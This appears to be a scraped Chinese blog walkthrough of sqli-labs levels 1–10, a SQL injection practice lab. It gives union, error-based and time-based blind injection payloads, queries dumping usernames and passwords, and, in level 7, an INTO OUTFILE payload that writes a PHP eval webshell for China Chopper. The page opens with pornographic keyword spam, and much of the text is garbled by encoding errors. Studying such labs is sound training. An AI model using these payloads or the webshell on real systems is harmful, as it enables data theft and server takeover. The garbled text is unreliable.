日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

注入双括号报错注入_SQL手动注入:sqlilabs(less110)

發(fā)布時(shí)間:2023/12/10 数据库 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 注入双括号报错注入_SQL手动注入:sqlilabs(less110) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

種一棵樹最好的時(shí)間是10年前,其次是現(xiàn)在。

忘了是誰

前言

說實(shí)話,由于前段時(shí)間學(xué) python?,對(duì)于 OWASP TOP10?漏洞的學(xué)習(xí)都有所落下,雖然現(xiàn)在也在慢慢復(fù)習(xí)當(dāng)中,但是今晚談及的 SQL 注入漏洞手動(dòng)注入和自動(dòng)化(sqlmap)注入的一些知識(shí)時(shí),不免有些語塞,有些命令都已經(jīng)開始淡忘,想想得補(bǔ)一補(bǔ),于是就打算拿 sqli-labs?這個(gè)SQL 注入專屬練習(xí)靶場來重溫一下,順便把之前寫得博文搬到公眾號(hào)上來。

豬(鄙夷的目光):文字的搬運(yùn)工。。。

匠(撓撓頭):后續(xù)對(duì)于這個(gè)靶場的自動(dòng)化(sqlmap)注入姿勢也總結(jié)一下吧,順便復(fù)習(xí)一下 sqlmap 。

環(huán)境準(zhǔn)備

phpstydy?

firefox?瀏覽器

HackBar?插件

sqli-labs?源碼

sublime??

中國菜刀

hackbar 插件新版的要錢,可以去下載舊版的,或者有其他替代品,功能也差不多

less1

源碼分析
  • 采用?get?方法接收用戶輸入

  • 單引號(hào)閉合參數(shù)

  • 參數(shù)拼接?sql?語句進(jìn)行數(shù)據(jù)庫查詢

  • 漏洞利用

    01

    查看數(shù)據(jù)表列數(shù)?

    猜測列數(shù)為 3 ,回顯正常

    index.php?id=1'?order?by?3?--+

    猜測列數(shù)為 4 ,出現(xiàn)錯(cuò)誤,說明當(dāng)前數(shù)據(jù)表列數(shù)為 3 。

    02

    union查詢

    MySQL5.0?之后有一個(gè)?information_schema 數(shù)據(jù)庫

    查看回顯位,可以得知數(shù)字 2 和 3 可以回顯。

    index.php?id=0'?union?select?1,2,3?--+

    利用回顯位查看數(shù)據(jù)庫相關(guān)信息

    index.php?id=0'?union?select?1,version(),database()?--+

    爆出 security 的所有表

    index.php?id=0'?union?select?1,(select?group_concat(table_name)?from?information_schema.tables?where?table_schema='security'),database()?--+

    查看 users 表下的所有列

    index.php?id=0'?union?select?1,(select?group_concat(column_name)?from?information_schema.columns?where?table_schema='security'?and?table_name='users'),database()?--+

    查看 users 表下的所有數(shù)據(jù)

    index.php?id=0'?union?select?1,(select?group_concat(username,'-')?from?security.users),(select?group_concat(password)?from?security.users)?--+

    less2

    源碼分析
  • ?直接獲取用戶輸入

  • sql?語句拼接

  • 漏洞利用

    和 Less1 相比就是在進(jìn)行 sql 語句拼接的時(shí)候沒有對(duì)參數(shù)進(jìn)行單引號(hào)引用。思路和 Less1 一樣,就是不用閉合單引號(hào)和注釋后面無關(guān)內(nèi)容而已。

    01

    union注入

    index.php?id=0?union?select?1,2,3

    less3

    源碼分析
  • ?直接說去用戶輸入

  • 拼接?sql?語句時(shí)將參數(shù)用單引號(hào)+括號(hào)進(jìn)行引用

  • 漏洞利用

    對(duì)單引號(hào)和括號(hào)進(jìn)行閉合即可,同時(shí)使用注釋符將無用部分注釋掉,注入思路和 Less1 一樣。

    01

    union注入

    index.php?id=0')?union?select?1,2,3?--+

    less4

    源碼分析
  • ?直接獲取用戶輸入

  • 對(duì)參數(shù)進(jìn)行雙引號(hào)+括號(hào)引用

  • 漏洞利用

    對(duì)雙引號(hào)和括號(hào)進(jìn)行閉合,注入思路和 Less 1 一樣。

    less5

    源碼分析
  • ?直接獲取用戶輸入

  • 對(duì)參數(shù)進(jìn)行單引號(hào)引用

  • 沒有數(shù)據(jù)回顯

  • 有錯(cuò)誤信息回顯

  • 漏洞利用

    01

    報(bào)錯(cuò)注入

    報(bào)錯(cuò)注入會(huì)涉及三個(gè)函數(shù) floor、updatexml、extractvalue。

    MySQL_v5.0.96 還有 floor?報(bào)錯(cuò)注入,高版本的沒有。

    MySQL 5.1.5 版本種添加了對(duì)?XML?文檔進(jìn)行查詢和修改的兩個(gè)函數(shù):extractvalue 和?updatexml 。

    三個(gè)函數(shù)的運(yùn)用格式如下:

    floor

    select?1?from?(select count(*), concat((database()),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a

    updatexml

    updatexml(1,concat(0x7e,(database()),0x7e),1)

    extractvalue

    extractvalue(1,concat(0x7e,(database()),0x7e))

    這里主要拿 floor?函數(shù)來做演示??梢圆鸱譃閹撞糠址奖阌洃?。

    select 1 from( i )ai = select count(*),concat( j )x from information_schema.tables group by xj?=?payload,floor(rand(0)*2)

    顯示當(dāng)前數(shù)據(jù)庫

    index.php?id=0'?and?(select?1?from(select?count(*),concat((database()),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+

    顯示當(dāng)前數(shù)據(jù)庫下所有表,這里使用 group_concat() 顯示所有表,出現(xiàn)錯(cuò)誤 “信息超過一行” 。

    index.php?id=1'?and?(select?1?from(select?count(*),concat((select?table_name?from?information_schema.tables?where?table_schema='security'?limit?0,1),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+

    使用 limit 一個(gè)一個(gè)顯示出來。

    ps: 這里的 limit 0,1 代表第一個(gè)數(shù)據(jù);limit 1,1 代表第二個(gè)數(shù)據(jù)

    index.php?id=1'and?(select?1?from(select?count(*),concat((select?table_name?from?information_schema.tables?where?table_schema='security'?limit?0,1),floor(rand(0)*2))x?from?information_schema.tables?group?by?x)a)?--+

    less6

    源碼分析
  • 直接獲取用戶輸入

  • 雙引號(hào)應(yīng)用參數(shù)

  • 沒有數(shù)據(jù)信息回顯

  • 有錯(cuò)誤信息回顯

  • 漏洞利用

    相比于 Less 5,這里的參數(shù)用雙引號(hào)引用,注意雙引號(hào)閉合,注釋符的使用即可,解題思路和 Less 5 一樣。

    less7

    源碼分析
  • 直接獲取用戶參數(shù)

  • 用雙括號(hào)+雙引號(hào)引用參數(shù)

  • 沒有數(shù)據(jù)信息回顯

  • mysql_error()函數(shù)被注釋

  • 漏洞利用

    頁面提示我們 outfile 命令寫入木馬文件

    這種方法的關(guān)鍵之處在于知道網(wǎng)站在系統(tǒng)的絕對(duì)路徑和能夠找到寫入文件的路徑,之后用菜刀進(jìn)行連接。

    注:反斜杠 \?是轉(zhuǎn)義字符,這里使用雙反斜杠 \\?表示反斜杠;也可以使用正斜杠 / 代替反斜杠;也開始使用 r 將引號(hào)里面的內(nèi)容定義為字符串,如:r"C:\\phpStudy2013\\WWW\\script.php"

    index.php?id=-1'))?union?select?1,"<?php ?@eval($_POST['pass']);?>",3?into?outfile?"C:\\phpStudy2013\\WWW\\script.php"?--+

    之后訪問上傳的一句話文件。

    使用菜刀連接

    less8

    源碼分析
  • 直接獲取用戶參數(shù)

  • 單引號(hào)引用參數(shù)

  • 沒有數(shù)據(jù)信息回顯

  • 也沒有錯(cuò)誤信息回顯

  • 漏洞利用

    01

    時(shí)間盲注

    沒有錯(cuò)誤信息回顯,那報(bào)錯(cuò)注入的方法就行不通,可以試一試時(shí)間盲注。

    判斷時(shí)間盲注的方法先是id=1' or sleep(1) # ,如果延時(shí)則存在延時(shí)注入

    時(shí)間盲注的格式如下:

    if((判斷條件),(條件為 true 時(shí)執(zhí)行),(條件為 false 執(zhí)行))

    if(ascii(substring(database()),1,1)=115,sleep(1),1)

    猜測當(dāng)前數(shù)據(jù)庫,若當(dāng)前數(shù)據(jù)庫的第一個(gè)字母的 ASCII碼大于0,則延時(shí)5秒。

    index.php?id=1'?and?if(ascii(substring(database(),1,1))>0,sleep(5),1)?--+

    猜測得出第一個(gè)字母位's',ascii(s) = 115

    index.php?id=1'?and?if(ascii(substring(database(),1,1))=115,sleep(5),1)?--+

    以此類推去猜,費(fèi)勁,一般報(bào)錯(cuò)注入/時(shí)間盲注這些比較費(fèi)時(shí)的操作都交給 sqlmap 去自動(dòng)化注入比較省事。

    less9

    源碼分析
  • 直接獲取用戶輸入

  • 單引號(hào)引用,參數(shù)拼接

  • 沒有數(shù)據(jù)回顯

  • 沒有錯(cuò)誤信息回顯

  • 漏洞利用

    時(shí)間盲注,注意單引號(hào)閉合,思路和 Less 8 一樣。

    less10

    源碼分析
  • 直接獲取用戶參數(shù)

  • 雙引號(hào)引用參數(shù)進(jìn)行?sql?語句拼接

  • 沒有數(shù)據(jù)回顯

  • 沒有錯(cuò)誤信息回顯

  • 漏洞利用

    時(shí)間盲注,注意雙引號(hào)的閉合,注入思路和 Less 8 一樣。

    尾聲

    我是匠心,一個(gè)在清流旁默默磨劍的匠人,希望有一天能利刃出鞘,仗劍走江湖。

    好文!必須在看

    留言區(qū)

    總結(jié)

    以上是生活随笔為你收集整理的注入双括号报错注入_SQL手动注入:sqlilabs(less110)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。